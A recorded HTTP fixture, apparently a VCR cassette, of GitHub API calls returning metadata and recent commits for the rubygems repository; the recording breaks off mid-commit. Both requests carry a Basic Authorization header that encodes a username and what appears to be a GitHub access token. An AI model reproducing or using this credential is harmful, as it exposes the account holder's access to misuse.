--- http_interactions: - request: method: get uri: https://api.github.com/repos/rubygems/rubygems body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:32 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4632' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e3297fc144d8893e7507ec4a76337c61" Last-Modified: - Fri, 05 Jan 2018 19:36:06 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044249' X-Github-Request-Id: - C40A:4D97:9033E0:1C46922:5A50E454 body: encoding: ASCII-8BIT string: '{"id":614070,"name":"rubygems","full_name":"rubygems/rubygems","owner":{"login":"rubygems","id":208761,"avatar_url":"https://avatars0.githubusercontent.com/u/208761?v=4","gravatar_id":"","url":"https://api.github.com/users/rubygems","html_url":"https://github.com/rubygems","followers_url":"https://api.github.com/users/rubygems/followers","following_url":"https://api.github.com/users/rubygems/following{/other_user}","gists_url":"https://api.github.com/users/rubygems/gists{/gist_id}","starred_url":"https://api.github.com/users/rubygems/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rubygems/subscriptions","organizations_url":"https://api.github.com/users/rubygems/orgs","repos_url":"https://api.github.com/users/rubygems/repos","events_url":"https://api.github.com/users/rubygems/events{/privacy}","received_events_url":"https://api.github.com/users/rubygems/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rubygems/rubygems","description":"Library packaging and distribution for Ruby.","fork":false,"url":"https://api.github.com/repos/rubygems/rubygems","forks_url":"https://api.github.com/repos/rubygems/rubygems/forks","keys_url":"https://api.github.com/repos/rubygems/rubygems/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rubygems/rubygems/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rubygems/rubygems/teams","hooks_url":"https://api.github.com/repos/rubygems/rubygems/hooks","issue_events_url":"https://api.github.com/repos/rubygems/rubygems/issues/events{/number}","events_url":"https://api.github.com/repos/rubygems/rubygems/events","assignees_url":"https://api.github.com/repos/rubygems/rubygems/assignees{/user}","branches_url":"https://api.github.com/repos/rubygems/rubygems/branches{/branch}","tags_url":"https://api.github.com/repos/rubygems/rubygems/tags","blobs_url":"https://api.github.com/repos/rubygems/rubygems/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rubygems/rubygems/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rubygems/rubygems/git/refs{/sha}","trees_url":"https://api.github.com/repos/rubygems/rubygems/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rubygems/rubygems/statuses/{sha}","languages_url":"https://api.github.com/repos/rubygems/rubygems/languages","stargazers_url":"https://api.github.com/repos/rubygems/rubygems/stargazers","contributors_url":"https://api.github.com/repos/rubygems/rubygems/contributors","subscribers_url":"https://api.github.com/repos/rubygems/rubygems/subscribers","subscription_url":"https://api.github.com/repos/rubygems/rubygems/subscription","commits_url":"https://api.github.com/repos/rubygems/rubygems/commits{/sha}","git_commits_url":"https://api.github.com/repos/rubygems/rubygems/git/commits{/sha}","comments_url":"https://api.github.com/repos/rubygems/rubygems/comments{/number}","issue_comment_url":"https://api.github.com/repos/rubygems/rubygems/issues/comments{/number}","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/{+path}","compare_url":"https://api.github.com/repos/rubygems/rubygems/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rubygems/rubygems/merges","archive_url":"https://api.github.com/repos/rubygems/rubygems/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rubygems/rubygems/downloads","issues_url":"https://api.github.com/repos/rubygems/rubygems/issues{/number}","pulls_url":"https://api.github.com/repos/rubygems/rubygems/pulls{/number}","milestones_url":"https://api.github.com/repos/rubygems/rubygems/milestones{/number}","notifications_url":"https://api.github.com/repos/rubygems/rubygems/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rubygems/rubygems/labels{/name}","releases_url":"https://api.github.com/repos/rubygems/rubygems/releases{/id}","deployments_url":"https://api.github.com/repos/rubygems/rubygems/deployments","created_at":"2010-04-16T19:02:44Z","updated_at":"2018-01-05T19:36:06Z","pushed_at":"2018-01-05T08:20:35Z","git_url":"git://github.com/rubygems/rubygems.git","ssh_url":"git@github.com:rubygems/rubygems.git","clone_url":"https://github.com/rubygems/rubygems.git","svn_url":"https://github.com/rubygems/rubygems","homepage":"https://rubygems.org/","size":14290,"stargazers_count":1906,"watchers_count":1906,"language":"Ruby","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":959,"mirror_url":null,"archived":false,"open_issues_count":162,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":959,"open_issues":162,"watchers":1906,"default_branch":"master","permissions":{"admin":false,"push":true,"pull":true},"organization":{"login":"rubygems","id":208761,"avatar_url":"https://avatars0.githubusercontent.com/u/208761?v=4","gravatar_id":"","url":"https://api.github.com/users/rubygems","html_url":"https://github.com/rubygems","followers_url":"https://api.github.com/users/rubygems/followers","following_url":"https://api.github.com/users/rubygems/following{/other_user}","gists_url":"https://api.github.com/users/rubygems/gists{/gist_id}","starred_url":"https://api.github.com/users/rubygems/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rubygems/subscriptions","organizations_url":"https://api.github.com/users/rubygems/orgs","repos_url":"https://api.github.com/users/rubygems/repos","events_url":"https://api.github.com/users/rubygems/events{/privacy}","received_events_url":"https://api.github.com/users/rubygems/received_events","type":"Organization","site_admin":false},"network_count":959,"subscribers_count":146}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:32 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits?since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:32 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4631' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"334c3d1a6c54254372b057ca7ebe3794" Last-Modified: - Fri, 05 Jan 2018 06:59:04 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.090111' X-Github-Request-Id: - A13C:4D95:F477BE:1C82B08:5A50E454 body: encoding: ASCII-8BIT string: '[{"sha":"a5e9acadf7206873fc681a3eed61c64252353b7c","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T06:59:04Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T06:59:04Z"},"message":"Auto merge of #2142 - rubygems:use-file-open, r=hsbt\n\nUse `File.open` instead of `open`.\n\nThis change is not vulnerability fix. @hsbt and @shugo did audit this usage when CVE-2017-17405 was disclosed.\n\nBecause ruby core team will warn to use `Kernel#open` in standard libraries.\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"04da0de651c0429ed04e6d627778a4d76e449c30","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/04da0de651c0429ed04e6d627778a4d76e449c30"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a5e9acadf7206873fc681a3eed61c64252353b7c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a5e9acadf7206873fc681a3eed61c64252353b7c","html_url":"https://github.com/rubygems/rubygems/commit/a5e9acadf7206873fc681a3eed61c64252353b7c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a5e9acadf7206873fc681a3eed61c64252353b7c/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ba4bb1934e00313d61db2c46ac705fd4938d6eb8","url":"https://api.github.com/repos/rubygems/rubygems/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8","html_url":"https://github.com/rubygems/rubygems/commit/ba4bb1934e00313d61db2c46ac705fd4938d6eb8"},{"sha":"3effdf755a542034892563d46ffbda4048c76bb5","url":"https://api.github.com/repos/rubygems/rubygems/commits/3effdf755a542034892563d46ffbda4048c76bb5","html_url":"https://github.com/rubygems/rubygems/commit/3effdf755a542034892563d46ffbda4048c76bb5"}]},{"sha":"ba4bb1934e00313d61db2c46ac705fd4938d6eb8","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T06:28:08Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T06:28:08Z"},"message":"Auto merge of #2141 - rubygems:backport-ruby-core, r=hsbt\n\nBackport ruby core changes for test fixes.\n\nRuby 2.6 will change the behavior of `$SAFE` variable.\n\nIt''s part of test fixes by @MSP-Greg like https://github.com/rubygems/rubygems/pull/2139","tree":{"sha":"bc01b299573792892bbcdcabf0ce8a69ab8a020a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bc01b299573792892bbcdcabf0ce8a69ab8a020a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8","html_url":"https://github.com/rubygems/rubygems/commit/ba4bb1934e00313d61db2c46ac705fd4938d6eb8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d487894c2e4f3ace75a11e91323c9aca6716d15a","url":"https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a","html_url":"https://github.com/rubygems/rubygems/commit/d487894c2e4f3ace75a11e91323c9aca6716d15a"},{"sha":"520ba008808e258a48d5666bbf4ca930a3b9c312","url":"https://api.github.com/repos/rubygems/rubygems/commits/520ba008808e258a48d5666bbf4ca930a3b9c312","html_url":"https://github.com/rubygems/rubygems/commit/520ba008808e258a48d5666bbf4ca930a3b9c312"}]},{"sha":"3effdf755a542034892563d46ffbda4048c76bb5","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T06:26:17Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T06:26:17Z"},"message":"Partly reverted to use File.open for bundler example.","tree":{"sha":"4390d335e2d8c5f262ea13d3647b0cec514c83af","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4390d335e2d8c5f262ea13d3647b0cec514c83af"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3effdf755a542034892563d46ffbda4048c76bb5","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpPGokACgkQ+c8TQXJk\n+sIetAf9HRXfbozdHFXgNRUFlZykOpbOVzqfKv+ZFPDA+rBdqYQsPMqiAUYHpA8n\np3pZs30v/nTxZ8woivcEGBCLPWYETNPjyuyKcG8KFEeP3OLpVZODNYGfpe6qioz8\nW5Hte3OOuQnIFClmFwr59elmkT+RusGFTfYJESkw5umnyg3ehdJHFrJiEl+lyK+p\nEFqSJs1UxP0ilMGuxjiYl7eQjV+3Gn4IMRAHoO0Cr08Or9yYehxjuWtdfpMWVSqH\nWzq0d1sfzdO1siT6e1K8LoWWS1FzxTrQnfmuTljnjFqoIFZbDbvef7v4nPauxhQz\nNk3zicXoSAdF+4nm0f1I8D0GxRhHvA==\n=f7iH\n-----END PGP SIGNATURE-----","payload":"tree 4390d335e2d8c5f262ea13d3647b0cec514c83af\nparent af1eb1b83df9b87d95ba67b6f169134e1805fc32\nauthor SHIBATA Hiroshi 1515133577 +0900\ncommitter SHIBATA Hiroshi 1515133577 +0900\n\nPartly reverted to use File.open for bundler example.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3effdf755a542034892563d46ffbda4048c76bb5","html_url":"https://github.com/rubygems/rubygems/commit/3effdf755a542034892563d46ffbda4048c76bb5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3effdf755a542034892563d46ffbda4048c76bb5/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"af1eb1b83df9b87d95ba67b6f169134e1805fc32","url":"https://api.github.com/repos/rubygems/rubygems/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32","html_url":"https://github.com/rubygems/rubygems/commit/af1eb1b83df9b87d95ba67b6f169134e1805fc32"}]},{"sha":"520ba008808e258a48d5666bbf4ca930a3b9c312","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T04:37:05Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T04:37:05Z"},"message":"Added guard condition for remove_const","tree":{"sha":"53f76894f63bd856f2440d54b5dd5b2daa9a5042","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/53f76894f63bd856f2440d54b5dd5b2daa9a5042"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/520ba008808e258a48d5666bbf4ca930a3b9c312","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpPAPEACgkQ+c8TQXJk\n+sJq5AgAqdn6barpcjKztSdXU+e8G38tB2YRSixbYND5FjwzzTQZs+LOZQpTUyKx\nUaAx16f/GHAZc4kyhyxJZRKiK7GSGxCDCBTfioCj4nX+Opp6Z9uHmwm3lVsvMEo6\nKCPim0rSHB9WuP+VB4Kamor9kFNJv8Ul1rBAXiBFqViYJ30R78ZOBOBapMA3v/3L\nzE8G6UIva/z4QR18YPLrsDW7c3XQOozHsfMFnKG70ACeYfXf5mW/yukzt8eg+ZaG\nEl4W8PZtttcNswARWefjknXs6QkVqol3oe9lEA72PeyBh+jLmxkDViUOQzj+yCH4\n5noPkprT9m8JZsWLxKuuUb3If33C/w==\n=Wtu+\n-----END PGP SIGNATURE-----","payload":"tree 53f76894f63bd856f2440d54b5dd5b2daa9a5042\nparent abc00f1ac9fef0b3d0bc552bd1710561685f9621\nauthor SHIBATA Hiroshi 1515127025 +0900\ncommitter SHIBATA Hiroshi 1515127025 +0900\n\nAdded guard condition for remove_const\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/520ba008808e258a48d5666bbf4ca930a3b9c312","html_url":"https://github.com/rubygems/rubygems/commit/520ba008808e258a48d5666bbf4ca930a3b9c312","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/520ba008808e258a48d5666bbf4ca930a3b9c312/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"abc00f1ac9fef0b3d0bc552bd1710561685f9621","url":"https://api.github.com/repos/rubygems/rubygems/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621","html_url":"https://github.com/rubygems/rubygems/commit/abc00f1ac9fef0b3d0bc552bd1710561685f9621"}]},{"sha":"af1eb1b83df9b87d95ba67b6f169134e1805fc32","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T03:09:06Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T03:17:56Z"},"message":"Use `File.open` instead of `open`.\n\n This change is not vulnerability fix. @hsbt and @shugo did audit these\n usage when CVE-2017-17405 was disclosed.","tree":{"sha":"38eeaa1adb2b957c76d7988ba55257ecb95c4317","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/38eeaa1adb2b957c76d7988ba55257ecb95c4317"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpO7nwACgkQ+c8TQXJk\n+sKVLQgAm1kWeyd73meqlTUKSsaJnVcicP3TAaUqEJh7eiWQGXaE/0bvNvCnthSp\n47X53BaU1xFFO08NN/HdLrA5TufRWW6eZnBVyGFzUToRuoOFJCX+mKsrZYxg+Tpv\nSwLaYZ5rmSFFDu3JoKwuKOcbXA/xeScQsyU/nR9qwsgUQcQ5cBjQGQHvRA+PpamN\nA2vKeGCthpfkItyWG0YjcgiJWmHctK+s3Fqqx2BsI3Y2ccQif179pwY8h3Df+oEf\nzyP9OVxp6PnO02of5raaiUjqOX1ohN0ysDGQmE84XYgC/flTkSN4h/TD0Z1KajHp\nq2YLYs/TT0BuImCx4g3oavYX1hQoWg==\n=IzO9\n-----END PGP SIGNATURE-----","payload":"tree 38eeaa1adb2b957c76d7988ba55257ecb95c4317\nparent d487894c2e4f3ace75a11e91323c9aca6716d15a\nauthor SHIBATA Hiroshi 1515121746 +0900\ncommitter SHIBATA Hiroshi 1515122276 +0900\n\nUse `File.open` instead of `open`.\n\n This change is not vulnerability fix. @hsbt and @shugo did audit these\n usage when CVE-2017-17405 was disclosed.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32","html_url":"https://github.com/rubygems/rubygems/commit/af1eb1b83df9b87d95ba67b6f169134e1805fc32","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"d487894c2e4f3ace75a11e91323c9aca6716d15a","url":"https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a","html_url":"https://github.com/rubygems/rubygems/commit/d487894c2e4f3ace75a11e91323c9aca6716d15a"}]},{"sha":"abc00f1ac9fef0b3d0bc552bd1710561685f9621","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T02:48:40Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T02:48:40Z"},"message":"Fixed syntax error with ensure keyword with < Ruby 2.5","tree":{"sha":"9eab37fe0fb7fe64143b4b9a9407f4a64e4b49d3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9eab37fe0fb7fe64143b4b9a9407f4a64e4b49d3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpO54kACgkQ+c8TQXJk\n+sIs5Af/bqtdhxDiSCrTs5Wr/WqQ+vvREy/QC6Nw82wSj+J7z8UNMQ/71DtDswyB\nKxSLcvFjtf6nlc2uBsfFJZiyXV4rLRqC1BA18L+EKsUfKGNyJXUE741Q8II3vNSW\nhbuf3O03xTUtOnJ3+Q29wBl3HM4dgCyeeCYU/4KZp+yvqBvACimgCJk6qWEqiEQo\nvMgzeSJtY/q/hytVg9jrZsRdbWOZFb98Y5Lye1ZOGBp5oh2TRXpOoSHWpVoB9KLH\n5DTnllPiquGmPIZeufXRG0CSW3pdHPkIfOD1zK7IroyntF4z/mp1Uk94H5TLffTI\npnC7nFre22IdqqgsxOwc71sTrezj9Q==\n=M74G\n-----END PGP SIGNATURE-----","payload":"tree 9eab37fe0fb7fe64143b4b9a9407f4a64e4b49d3\nparent 71b7c87f32deea6b4e9aaba23fd2638917c8ed2d\nauthor SHIBATA Hiroshi 1515120520 +0900\ncommitter SHIBATA Hiroshi 1515120520 +0900\n\nFixed syntax error with ensure keyword with < Ruby 